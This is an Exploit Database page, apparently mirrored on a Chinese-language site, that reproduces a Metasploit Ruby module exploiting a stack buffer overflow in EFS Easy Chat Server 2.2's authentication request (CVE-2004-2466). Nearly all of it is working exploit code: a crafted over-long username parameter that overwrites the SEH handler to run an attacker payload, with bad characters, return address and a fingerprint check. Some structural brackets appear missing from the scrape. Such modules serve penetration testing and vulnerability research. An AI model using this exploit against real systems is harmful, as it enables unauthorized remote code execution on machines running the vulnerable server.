EFS Easy Chat Server – Authentication Request Handling Buffer Overflow (Metasploit)

Exploit Database
107 阅读

作者： Metasploit

日期： 2010-08-06
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16772/

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# $Id: efs_easychatserver_username.rb 9966 2010-08-06 20:12:51Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By

sending a overly long authentication request, an attacker may be able to execute

arbitrary code.

NOTE: The offset to SEH is influenced by the installation path of the program.

The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated

with "\users\" and the string passed as the username HTTP paramter.

'Author' => [ 'LSO <lso[at]hushmail.com>' ],

'License'=> BSD_LICENSE,

'Version'=> '$Revision: 9966 $',

'References' =>

[

[ 'CVE', '2004-2466' ],

[ 'OSVDB', '7416' ],

[ 'BID', '25328' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'Privileged' => true,

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00\x0a\x0b\x0d\x20\x23\x25\x26\x2b\x2f\x3a\x3f\x5c",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k

'DisclosureDate' => 'Aug 14 2007',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('PATH', [ true, "Installation path of Easy Chat Server",

"C:\\Program Files\\Easy Chat Server" ])

], self.class )

end

def check

info = http_fingerprint # check method

# NOTE: Version 2.2 still reports "1.0" in the "Server" header

if (info =~ /Easy Chat Server\/1\.0/)

return Exploit::CheckCode::Appears

end

Exploit::CheckCode::Safe

end

def exploit

# randomize some values.

val = rand_text_alpha(rand(10) + 1)

num = rand_text_numeric(1)

path = datastore['PATH'] + "\\users\\"

print_status("path: " + path)

# exploit buffer.

filler = rand_text_alpha(256 - path.length)

seh= generate_seh_payload(target.ret)

juju = filler + seh

uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#sex=#{num}"

print_status("Trying target #{target.name}...")

send_request_raw({'uri' => uri}, 5)

handler

disconnect

end